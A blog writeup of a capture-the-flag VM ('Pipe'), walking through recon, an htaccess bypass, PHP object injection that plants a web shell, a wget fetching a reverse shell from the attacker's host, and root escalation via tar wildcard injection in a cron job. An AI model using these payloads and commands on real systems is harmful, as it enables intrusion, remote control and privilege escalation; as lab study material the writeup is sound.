Tuesday, January 5, 2016

/dev/random: pipe writeup

This third writeup is about  /dev/random: Pipe VM from Sagi-.

Starting with nmap as usual:
$ nmap -p- -T5 -v -A $IP

Found that port 80 is open and a webserver is listening.

nikto on the go:
$ nikto -host $IP

She screams about required auth on /


and also find a /images/ directory, that contain a pipe image with no use to me.

Tried to bruteforce the login using common credentials with no luck, when that realm brings back to my mind an old bug^Wfeature that affects Zend/php and should let bypass htaccess using GETS verb in place of the very used GET and requesting index.php.

I could have tried to visit /index.php using POST(more on this later), but i preferred to give GETS verb a try:
$ curl -X GETS http://$IP/index.php


cool :)

reading the html code of index.php i see that there is a form that sends a POST request with a param named param:


the page header shows a javascript that populates param with a serialized object:


index.php itself includes a javascript from /scriptz/ dir (see image above).

luckily, also curl -X POST http://$IP/index.php bypasses htaccess protection, so i can try to use this form.

back on /scriptz/ directory i can see that she's browsable (among she's world writable) and lists a file named log.php.BAK, which is probably vulnerable to php object injection:

ok, let's pretend that index.php uses that Log class, because of that serialized object sent through POST request, and give object injection a chance trying to write "arbitrary data" to "arbitrary file".

with some test on a box where i can debug the process to inject php code to Log class, some guess about DocRoot, i got this curl command to create a new file:
$ curl --data
'param=O%3a3%3a"Log"%3a2%3a{s%3a8%3a"filename"%3bs%3a19%3a"/var/www/html/g.php"%3bs%3a4%3a"data"%3bs%3a23%3a"%3c%3fphp+system%28%24_GET%5bc%5d%29%3b"%3b}'
http://$IP/index.php

the file is a php that runs as a very easy backdoor: system($_GET[c]);
serialized object has been created using the Log class, provided by log.php. of course most of the special chars have to be url-encoded.

once i got my php backdoor on /g.php (edit: placing the backdoor on /scriptz/ would let me use GET but i don't care since i can use GETS and have $_GET superglobal working as i expect) i download a weevely revshell, this time to /scriptz/, visiting the url:
curl -X GETS http://$IP/g.php?c=wget+http://$ME/w.txt+-O+/var/www/html/scriptz/w.php

fired up weevely, it's time to enumerate: DocRoot, /etc/passwd, homedir and cronjobs are mostly my first check, and also this time they're giveback is awesome.

/home/rene is world readable and has a backup/ directory that is world writable:


backup/ dir also store some backup files, with some work i can't find anything useful out of that data garbage so i move on cronjobs:



of course i cannot read /root/create_backup.sh, even if i tried to ;), but i can read /usr/bin/compress.sh since it's 755:



tar with a wildcard: pure gold.
there is a very good paper named "unix wildcard gone wild" that explain this vulnerability at http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

let's create a run file that just touches a file in /tmp to see if it actually runs as root:
$ cd /home/rene/backups
$ echo 1 > --checkpoint=1\;
$ echo 1 > --checkpoint-action=exec=sh\ run\;
$ echo "#!/bin/bash" > run
$ chmod 755 run
$ echo "touch /tmp/foo" >> run

unfortunately it's 10:50:10 so i have to wait full five minutes for the cron to run, then:


the file /tmp/foo has been created by root, so we should have full execution as root.

stickybit for the win:
$ cp /bin/dash /tmp/dash
$ echo 'chown root /tmp/dash' >> run
$ echo 'chmod u+s /tmp/dash' >> run

after the next cron run:


we now have a dash shell owned by root and with the stickybit set.

weevely has some issues running shells interactively, but she let us to run a backdoor shell specifing the binary to execute:


thanks to Sagi- for this VM